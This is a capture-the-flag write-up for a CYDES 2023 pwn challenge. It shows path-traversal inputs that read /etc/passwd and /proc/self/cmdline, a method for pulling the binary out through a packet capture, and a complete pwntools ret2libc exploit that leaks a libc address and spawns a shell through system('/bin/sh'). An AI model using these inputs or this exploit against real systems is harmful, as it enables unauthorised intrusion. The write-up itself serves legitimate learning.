CYDES 2023 Pwn Challenge Writeup

0xwan
5 min readJul 13, 2023

--

During the competition, I wasnt able to finish the challenge. I was close to finish it but my script doesnt work for some reason. So, after the competition I try to fix the script and here is the writeup on how to solve the challenge.

For this challenge, there is only an IP and port given to us. We dont get the file binary but lets look what the program does.

accessing the challenge remotely

So the program try to read any file that the user supplies. The program is actually vulnerable to arbitrary file read. We can try to read /etc/passwd file using ../../../../etc/passwd as the input, and we will be able to read that file. Since this is a pwn challenge, we can also try to insert a long input to see if the program crashes, indicates that there is a potential buffer overflow.

It seems like there is a detection for buffer overflow here (maybe?) or maybe we can bypass that protection. It’s hard to be sure because we dont have the source code. But there is a trick on how to get the binary file. we can try to read /proc/self/cmdline to find out what is the name of the file and then we can look at every directory to find the file and read it.

Here we can see that the program name is actually fil3_r3ad3r ! so we can try to read that file and see the content of the file.

As you can see above, we successfully read the program file. So now, we can download the file and analyze it locally. For this, I dont know the correct way to download that file because I tried many method but none of them can help me download the file without corrupting it. But I have a method that works. So below I list step by step on how I manage to download that file:

1.While netcat to the server, run wireshark in the background.

2.Try to read the content of fil3_r3ad3r file by inserting ../fil3_r3ad3r when the program ask for filename.

3.Stop the wireshark and save the pcap file.

4.Find the TCP request of reading the fil3_r3ad3r file, and follow the TCP stream.

5.Next, change the format from ASCII to Raw.

6.Copy the hex value of the file and paste it on any hex editor.

7.Save the hex editor.

Now we got the binary file, we can open it on ghidra and do analysis. I will start with checksec, to see the protection that the file has.

No PIE and more importantly, no canary. That means the buffer overflow detection we encounter earlier is a custom and we can bypass it. Let analyze it with ghidra to confirm it.

Then we found out that the binary actually vulnerable to buffer overflow because it uses a gets function to get the user input. Even though the code has a input size check, it didnt implement the restriction properly. We can still overflow the input and get segmentation fault. The proper way to prevent buffer overflow here is, it should use exit() function whenever the input length is more than the allowed length so the user wont be able to reach the return statement at the bottom and change the flow of the program execution.

Now we can develop our exploit. First, we need to identify the length of the input before the program crash using cyclic and gdb.

So our exploit padding will be 104. Next, we need to find where is system function and use it to execute /bin/sh. In ghidra, we can find the system function inside the program, but the problem is we dont have the string ‘/bin/sh’ availabe inside the program. So we have no choice but to use technique called ret2libc to successfully exploit this program. In ret2libc, we need to leak address of any function from the LIBC library and calculate the base address of LIBC library. Then from the base address of LIBC, we can find the address of ‘/bin/sh’ string. Here is the full exploit to get remote code execution in this program.

from pwn import *
import binascii

exe = './idk.bin'
elf = context.binary = ELF(exe, checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process(exe)

offset = 104
pop_rdi = 0x4014c3
ret = 0x40101a

payload = flat({
offset: [
pop_rdi, # Pop got.puts into RDI
elf.got.printf,
elf.plt.puts, # Call puts() to leak the got.puts address
elf.symbols.main # Return to vuln (to overflow buffer with another payload)
]
})

p.sendlineafter(b'(Ex secret.txt): ', payload)
p.recvline()

addr = p.recvline()
print(addr)

leak_addr = '0x' + binascii.hexlify(addr[::-1].strip()).decode() # reverse the string and convert it to 0x form
print(leak_addr)

leak_puts = int(leak_addr, 16)
libc.address = leak_puts - libc.symbols.printf
binsh = next(libc.search(b'/bin/sh'))

print(f'/bin/sh : {binsh}')

payload2 = flat({
offset: [
pop_rdi, # Pop got.puts into RDI
binsh,
ret,
elf.plt.system, # Call puts() to leak the got.puts address
]
})

p.sendlineafter(b'(Ex secret.txt): ', payload2)

p.interactive()

Then we got the shell !

--

--